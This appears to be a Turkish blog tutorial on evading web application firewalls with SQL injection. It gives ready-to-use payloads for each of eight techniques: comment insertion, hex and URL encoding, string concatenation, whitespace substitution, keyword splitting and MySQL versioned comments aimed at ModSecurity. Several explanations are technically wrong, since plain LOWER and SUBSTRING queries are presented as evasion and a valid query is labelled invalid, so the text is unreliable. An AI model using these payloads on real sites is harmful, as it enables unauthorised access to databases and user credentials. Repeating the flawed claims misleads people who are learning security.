WAF Bypass Yöntemleri - Detaylı Rehber
Web Application Firewall (WAF), web uygulamalarını kötü niyetli saldırılardan korumak amacıyla tasarlanmış bir güvenlik önlemidir. Ancak, bazı durumlarda, bir saldırgan WAF'ı atlatmak için çeşitli teknikler kullanabilir. Bu makalede, WAF bypass yöntemlerini detaylıca inceleyeceğiz.
1. SQL Yorumlarını Kullanmak
SQL sorgularında kullanılan yorumlar (--
veya /* ... */
), WAF'ı atlatmanın etkili yollarından biridir. Yorumlar, sorgunun belirli bölümlerini atlamak için kullanılabilir ve bu sayede WAF'ın belirli kalıpları algılamasını engelleyebilir.
Örnek
' OR 1=1 /* noSQL */--
Yukarıdaki örnekte, 1=1
ifadesi sorgunun geçerli kalmasına yardımcı olurken, /* noSQL */
yorumu WAF'ı şaşırtabilir.
2. Karakter Kodlama (Encoding)
SQL sorgularındaki belirli karakterler, farklı kodlama yöntemleri kullanılarak gizlenebilir. Hexadecimal, URL encoding ve Unicode gibi teknikler, WAF'ın tespit mekanizmasını atlatmada kullanılabilir.
Hex Kodlama
SELECT * FROM users WHERE username=0x61646D696E AND password=0x70617373776F7264;
Bu örnekte, "admin" ve "password" kelimeleri hexadecimal formatta kodlanarak WAF'ın tespit etmesi zorlaştırılır.
URL Kodlama
%27%20OR%201%3D1--
Yukarıdaki URL kodlaması, SQL sorgusundaki özel karakterlerin gizlenmesine yardımcı olur.
3. String Birleştirme (String Concatenation)
SQL sorgularında kullanılan bazı anahtar kelimeler, WAF tarafından engellenebilir. Bu kelimeleri parçalara ayırarak ve birleştirerek WAF'ı atlatmak mümkündür.
String Birleştirme ile Bypass
' OR 1='1'+'1'--
Bu örnekte, '1'+'1'
ifadesi 1=1
ifadesiyle aynı işlevi görür ve WAF'ın tespit etmesini zorlaştırabilir.
SQL Fonksiyonları ile Bypass
' OR CONCAT('a','d','m','i','n')='admin'--
Bu sorgu, admin
kelimesini birleştirir ve WAF'ın doğrudan algılamasını engeller.
4. Boşluk Manipülasyonu (Whitespace Manipulation)
SQL sorgularında boşluk karakteri (
) yerine farklı semboller kullanılarak WAF'lar atlatılabilir. Boşluk yerine /
, /**/
, +
gibi karakterler kullanılabilir.
Örnekler
SELECT/**/username/**/FROM/**/users/**/WHERE/**/username='admin';
SELECT+username,+password+FROM+users+WHERE+username='admin'+AND+password='password';
Bu örneklerde boşluk yerine kullanılan farklı karakterler, WAF'ın kalıp tespit etme yeteneğini zayıflatır.
5. SQL Fonksiyonları Kullanmak
SQL fonksiyonları kullanılarak sorgular daha karmaşık hale getirilebilir ve bu sayede WAF'lar atlatılabilir. SQL fonksiyonları, verileri manipüle ederek WAF'ın tespit mekanizmalarını zorlayabilir.
Lowercase/Uppercase Fonksiyonları
SELECT * FROM users WHERE LOWER(username)='admin' AND LOWER(password)='password';
Bu örnekte, LOWER
fonksiyonu kullanılarak kullanıcı adı ve şifre küçük harfe çevrilmiştir. Bu, WAF'ın doğrudan tespit etmesini zorlaştırır.
Substring Kullanımı
SELECT * FROM users WHERE SUBSTRING(username,1,1)='a' AND SUBSTRING(username,2,1)='d';
Bu örnek, kullanıcının adını parça parça kontrol eder ve WAF'ın tespit etmesini zorlaştırır.
6. Geçersiz SQL Sorguları (Invalid SQL Queries)
Bazı WAF'lar geçersiz SQL sorgularını engellemez. Bu tür sorgular, SQL Injection'ın varlığını doğrulamak için kullanılabilir. Geçersiz SQL sorguları, genellikle veritabanının hata mesajları oluşturmasına neden olur ve bu mesajlar, saldırganlara veri sızdırabilir.
Örnek
' OR 1=1; --
Bu tür sorgular, hatalı sorguların oluşmasına neden olabilir ve bu hatalar, saldırganın sorguyu manipüle etmesine olanak tanır.
7. Obfuscation (Gizleme) Teknikleri
Sorguları gizlemek için çeşitli obfuscation teknikleri kullanılabilir. Bu, sorgunun WAF tarafından kolayca anlaşılmasını engelleyebilir.
SQL Obfuscation
SEL/**/ECT * FRO/**/M users WHE/**/RE username='admin';
Yukarıdaki örnekte, SQL komutları, sorgu içinde bölünerek gizlenmiştir. Bu, WAF'ın sorguyu tanımasını zorlaştırır.
8. WAF Spesifik Bypass Teknikleri
WAF'ların çoğu belirli bir mantıkla veya algoritmayla çalışır. Bu WAF'ları atlatmak için o WAF'a özgü teknikler geliştirilmiştir. Örneğin, ModSecurity gibi yaygın kullanılan WAF'lar, belirli kalıpları engellemek için yazılmıştır. Bu nedenle, saldırganlar ModSecurity için özel crafted payload'lar geliştirir.
ModSecurity Bypass Örneği
SELECT /*!50000username*/ FROM users WHERE username='admin';
Bu örnekte, /*!50000...
gibi özel bir notasyon kullanılarak ModSecurity'nin filtreleme mantığı atlatılmaya çalışılır.
Yorumlar
Yorum Gönder